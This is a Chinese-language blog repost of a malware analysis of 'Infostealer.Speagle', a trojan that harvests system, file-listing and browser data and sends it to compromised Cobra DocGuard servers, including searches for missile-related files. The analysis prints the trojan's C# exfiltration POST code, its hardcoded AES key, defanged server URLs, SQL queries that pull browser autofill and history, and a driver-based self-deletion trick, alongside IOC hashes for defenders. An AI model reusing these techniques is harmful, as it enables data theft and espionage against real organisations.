乐于分享
好东西不私藏

警惕!新型窃密木马专攻亿赛通加密文档,盗取东风导弹资料

警惕!新型窃密木马专攻亿赛通加密文档,盗取东风导弹资料

将二进制空间安全设为”星标⭐️”

第一时间收到文章更新

技术背景

   Cobra DocGuard是由亿赛通(EsafeNet)公司开发的一款合法的文档安全和加密平台, 一款名为Infostealer.Speagle的窃密木马旨在隐秘的从受感染计算机中窃取敏感信息,并将其传输到已被攻击者攻陷的Cobra DocGuard服务器上,从而将数据外传过程伪装成客户端与服务器之间的合法通信。值得注意的是,Speagle 只针对高度特定的目标收集信息,例如专门搜寻与弹道导弹相关的文档。

  该木马的自删除功能会调用一个合法的Cobra DocGuard驱动程序,并试图利用它来删除可执行文件。像Cobra DocGuard这样的安全软件通常包含防篡改功能,旨在防止攻击者通过终止进程和删除文件来破坏其运行。恶意软件利用Cobra DocGuard的驱动程序进行自删除。

技术分析

Speagle是一个32位 .NET可执行文件。运行时,它首先检查注册表值,以确定 Cobra DocGuard 的安装文件夹位置:

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Esafenet\CDG System\"InstallDir"

如果失败,则继续检查注册表键值:

HKEY_LOCAL_MACHINE\SOFTWARE\Esafenet\CDG System\"InstallDir"

如果都失败,则使用硬编码字符串:

"C:\Program Files\EsafeNet\Cobra DocGuard Client\"

Speagle使用一种由其开发者称为“ErrorReport”(错误报告)的自定义结构来存储从受感染机器收集的信息。首先,它会获取以下详细信息,并将其作为成员存储在 ErrorReport 结构中:

(1).userName:当前 Windows 用户的名称。
(2).hostName:受影响的Windows计算机的名称。
(3).clientId:位于文件 
[COBRA_DOCGUARD_INSTALLATION_FOLDER]UniqueClientCode.ini中,紧随字符串 “ClientIDID=” 之后的令牌字符串。
(4).oldId:位于文件
[COBRA_DOCGUARD_INSTALLATION_FOLDER]PackageInfo.ini中,紧随字符串 “No=” 之后的令牌字符串。

随后,Speagle 会尝试使用硬编码的路径读取以下文件的内容:

"C:\ProgramData\EstConfig.ini"

如果文件内容同时包含字符串 “no=” 和 “state=”,Speagle 会修改该文件,将收集到的 oldId 存储为 “no=” 令牌对应的属性值。

随后,Speagle 会确保已从文件 

[COBRA_DOCGUARD_INSTALLATION_FOLDER]UniqueClientCode.ini中提取出非空的ClientIDID。如果缺少ClientIDID,Speagle将跳过剩余的收集和外传阶段,直接执行自删除操作。

数据外传

   为了外传窃取的数据,Speagle首先将 ErrorReport 结构序列化为 XML 字符串,然后使用 Deflate 算法对其进行压缩。接着,它使用 AES-128 算法在 CBC(密码块链接)加密模式下对压缩后的数据进行加密,并采用 PKCS#7 填充方案。加密密钥取自硬编码字符串 "kAozqXwNES5yjGcZUlXeI4zigg68aZI4" 的SHA256摘要的前16 个字节。

  加密后的数据由AES-128 初始化向量(IV)紧随其后的填充密文组成,这些数据会被转换为十六进制字符串,并通过HTTP协议进行传输。

  Speagle 使用一个硬编码的 URL,该URL似乎指向受害组织托管的合法Cobra DocGuard服务器。可能攻击者攻陷了该服务器并安装了恶意组件来处理通信:

hxxp://60.30.147[.]18:8091/CDGServer3/CDGClientDiagnostics?flag=syn_user_policy
Speagle使用以下逻辑来传输十六进制数据,它会发送一个带有几个不同标头的HTTP请求:
HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(uri);  httpWebRequest.Method = "POST";httpWebRequest.UserAgent = "Raw HTML Reader";httpWebRequest.Headers["Cache-Control"] = "no-cache";httpWebRequest.Headers["X-Request-Name"] = hostName;httpWebRequest.Headers["X-Request-ID"] = clientId;httpWebRequest.Headers["X-Request-No"] = oldId;httpWebRequest.Headers["X-Request-Time"] = DateTime.Now.ToString();httpWebRequest.ContentType = "text/html; charset=UTF-8";httpWebRequest.ServicePoint.Expect100Continue = false;httpWebRequest.SendChunked = true;httpWebRequest.AllowWriteStreamBuffering = false;Stream requestStream = httpWebRequest.GetRequestStream();requestStream.Write(hexlified_data, 0, hexlified_data.Length);requestStream.Close();
随后,Speagle收集有关该计算机的以下详细信息,并将其存储为前述 ErrorReport 结构的成员:

Wmi:Speagle使用

System.Management::ManagementObjectSearcher.ManagementObjectSearcher()API执行WMI 查询后的序列化输出。查询范围及类包括:

\\.\root\cimv2中的类:

"Win32_Account","Win32_ComputerSystem","Win32_IP4RouteTable","Win32_LogicalDisk","Win32_NetworkAdapterConfiguration","Win32_NetworkConnection","Win32_OperatingSystem","Win32_Printer","Win32_Process","Win32_QuickFixEngineering","Win32_Service","Win32_Share","Win32_StartupCommand","Win32_Timezone";
\\.\root\Microsoft\Windows\TaskScheduler中的类:
"MSFT_ScheduledTask";

\\.\root\StandardCimv2中的类:

"MSFT_NetFirewallRule","MSFT_NetProtocolPortFilter","MSFT_NetTcpConnection","MSFT_NetUdpEndpoint".

DW:列出所有附加的本地磁盘、可移动磁盘和网络驱动器根目录下的文件(名称和大小)及文件夹(名称)。收集过程递归至深度 2,但排除以下子树:

"[%SystemDrive%]\Windows","[%SystemDrive%]\Users","[%SystemDrive%]\PerfLogs","[%SystemDrive%]\System Volume Information","[%SystemDrive%]\$Recycle.Bin".

DW2:针对 [%SystemDrive%]\Users\ 下每个子目录中的以下目录树,列出文件(名称和大小)及文件夹(名称):

"Documents" (collected recursively to depth 5),"Downloads" (collected recursively to depth 5),"Desktop" (collected recursively to depth 5),"AppData" (collected recursively to depth 2),"AppData\Roaming\Microsoft\Office\Recent" (collected recursively to depth 2).

随后,Speagle 使用与前文所述相同的方法外传更新后的 ErrorReport 结构。

接下来,它遍历 [%SystemDrive%]\Users\ 下每个子目录中的 “AppData” 文件夹目录树。

对于每个访问的目录,Speagle 检查是否有任何文件的文件名以 “History” 作为子串结尾。同时,它还确保此类目录中包含 “Web Data” 或 “Login Data” 文件。对于每个匹配的目录,Speagle 执行以下操作:

(1).制作 “History” 文件的临时副本,并将其作为 SQLite 数据库解析,执行查询 SELECT url,title from urls;

(2).制作 “Web Data” 文件的临时副本,并将其作为 SQLite 数据库解析,执行查询 SELECT name,value from autofill;

(3).再次制作 “History” 文件的临时副本,并将其作为 SQLite 数据库解析,执行查询 SELECT site_url,target_path from downloads;

(4).制作 “Shortcuts” 文件的临时副本,并将其作为 SQLite 数据库解析,执行查询 SELECT text,url from omni_box_shortcuts;

(5).收集 “Bookmarks” 文件的内容。

随后,Speagle再次使用与前文所述相同的方法外传 ErrorReport 结构。

搜索导弹数据

Speagle的一个变体(SHA256: dcd3f06093bf34d81837d837c5a5935beb859ba6258e5a80c3a5f95638a13d4d)包含额外的功能,包括启用/禁用特定收集项的能力,以及一个额外的收集步骤,该步骤专门搜寻与弹道导弹相关的文件。如图:

完成上述操作后,Speagle 会尝试从受感染的系统中删除自身。它通过打开一个合法的Cobra DocGuard 设备驱动程序来实现这一点:

\\.\FileLock

然后,它通过发送带有以下参数的 DeviceIoControl 请求与该设备进行交互:

IoControlCode: 0x85272220,InBuffer: Speagle’s process ID

如果驱动程序无法打开,或者 DeviceIoControl成功完成,Speagle会尝试删除自己的可执行文件。

它还会尝试使用一种已知的技术删除自身,该技术允许删除正在运行的可执行文件,Speagle首先通过调用 SetFileInformationByHandle() API 并传入以下参数来重命名自身:

FileInformationClass: FileRenameInfo,lpFileInformation: pointer to FILE_RENAME_INFO structure:FileName: ":[SIX_UPPER_CASE_LETTERS]"ReplaceIfExists: true

然后,它尝试通过调用 SetFileInformationByHandle() API 并传入以下参数来删除自身:

FileInformationClass: FileDispositionInfolpFileInformation: pointer to FILE_DISPOSITION_INFO structure:DeleteFile: true

IOC

03298f85eaf8880222cf8a83b8ed75d90712c34a8a5299a60f47927ad044b43b – Infostealer.Speagledcd3f06093bf34d81837d837c5a5935beb859ba6258e5a80c3a5f95638a13d4d – Infostealer.Speaglefad8d0307db5328c8b9f283a2cc6f7e4f4333001623fef5bd5c32a1c094bf890 – Infostealer.Speagled7f167cbf1676c14fd487219447e30fadf26885eb25ec4cafdeabe333bddf877 – Infostealer.Speaglehxxp://60.30.147[.]18:8091/CDGServer3/CDGClientDiagnostics?flag=syn_user_policyhxxp://222.222.254[.]165:8090/CDGServer3/CDGClientDiagnostics?flag=syn_user_policy

(全文完)

本站文章均为手工撰写未经允许谢绝转载:夜雨聆风 » 警惕!新型窃密木马专攻亿赛通加密文档,盗取东风导弹资料

猜你喜欢

  • 暂无文章